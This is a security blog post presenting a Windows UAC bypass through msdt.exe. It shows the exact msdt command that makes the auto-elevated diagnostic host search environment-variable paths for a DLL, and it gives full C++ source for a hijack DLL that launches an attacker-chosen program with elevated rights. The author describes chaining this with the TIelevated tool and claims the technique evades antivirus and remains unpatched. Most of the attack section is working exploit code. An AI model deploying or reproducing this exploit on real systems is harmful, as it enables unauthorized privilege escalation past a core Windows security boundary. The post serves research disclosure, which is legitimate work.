UAC Bypass with msdt.exe

UAC Bypass with msdt.exe

Published:

I recently read the blog about old bypass methods by g3tsyst3m and was shocked to see that UAC bypasses discovered over 9 years ago were still working recently! According to him, the bypasses mentioned were patched out at the beginning of this year, but I was too curious about one method and wanted to test it myself.

An old Troubleshooting Tool

In the past, if you had a problem with Windows, there was the “Microsoft Support Diagnostic Tool” (MSDT) for analyzing and fixing errors. Microsoft has since replaced the tool with the “Get Help” app, but the old legacy tool can still be found in Windows 11 (for compatibility reasons and all that). To prevent users from having to confirm UAC for every diagnosis, MSDT is auto-elevated by Windows.

If we take a closer look at MSDT, we can see that the individual diagnostic flows are stored under C:\WINDOWS\diagnostics\index\. Let’s take a look at the Bluetooth diagnosis flow. To do this, we call msdt with the following parameters: c:\windows\syswow64\msdt.exe -path C:\WINDOWS\diagnostics\index\BluetoothDiagnostic.xml -skip yes

Meanwhile, I logged everything with Procmon. I immediately notice that the sdiagnhost.exe process is searching for the BluetoothDiagnosticUtil.dll file. However, it is not searching in a specific location, but in every environment variable!

So I thought, what if I put my own DLL file in one of my environment variables? And can I combine that with my “TIelevated” tool? I quickly started Visual Studio and wrote a small DLL file.

#include "pch.h"
#include <windows.h>
#include <fstream>
#include <string>

static void Payload()
{
    char tempPath[MAX_PATH];
    GetTempPathA(MAX_PATH, tempPath);
    std::string filePath = std::string(tempPath) + "TIelevated\mylocation.txt";

    std::ifstream inputFile(filePath);
    if (!inputFile.is_open())
    {
        return;
    }

    std::string commandString;
    std::getline(inputFile, commandString);
    inputFile.close();

    if (commandString.empty())
    {
        return;
    }

    std::wstring wCommandString(commandString.begin(), commandString.end());
    STARTUPINFO si;
    si = {sizeof(STARTUPINFO)};
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_SHOWNORMAL;

    PROCESS_INFORMATION pi;

    if (CreateProcess(
        wCommandString.c_str(),    // Application path from the file
        nullptr,                   // Command line args
        nullptr,                   // Process handle not inheritable
        nullptr,                   // Thread handle not inheritable
        FALSE,                     // Inherit handles
        CREATE_NEW_CONSOLE,        // Ensures a new console window
        nullptr,                   // Use parent's environment
        nullptr,                   // Use parent's starting directory
        &si,                       // Pointer to STARTUPINFO
        &pi)                       // Pointer to PROCESS_INFORMATION
        )
    {
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    }
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(nullptr, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(Payload), nullptr, 0, nullptr);
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

When executed, TIelevated creates a folder and writes it to the environment variables. It then drops my DLL file and starts msdt. The path to TIelevated is written to a file, which is read by the DLL and executed again, while the process with the DLL should already be auto-elevated.

Ta-da, we have a shell! Not bad, right? Interestingly, neither Windows Defender nor third-party AV software such as Trend Micro reacts. If you want to see more about the process, you can view the source code for TIelevated here on GitHub. This shows that Microsoft hasn’t patched all the bypasses. Let’s see how long it stays open! :)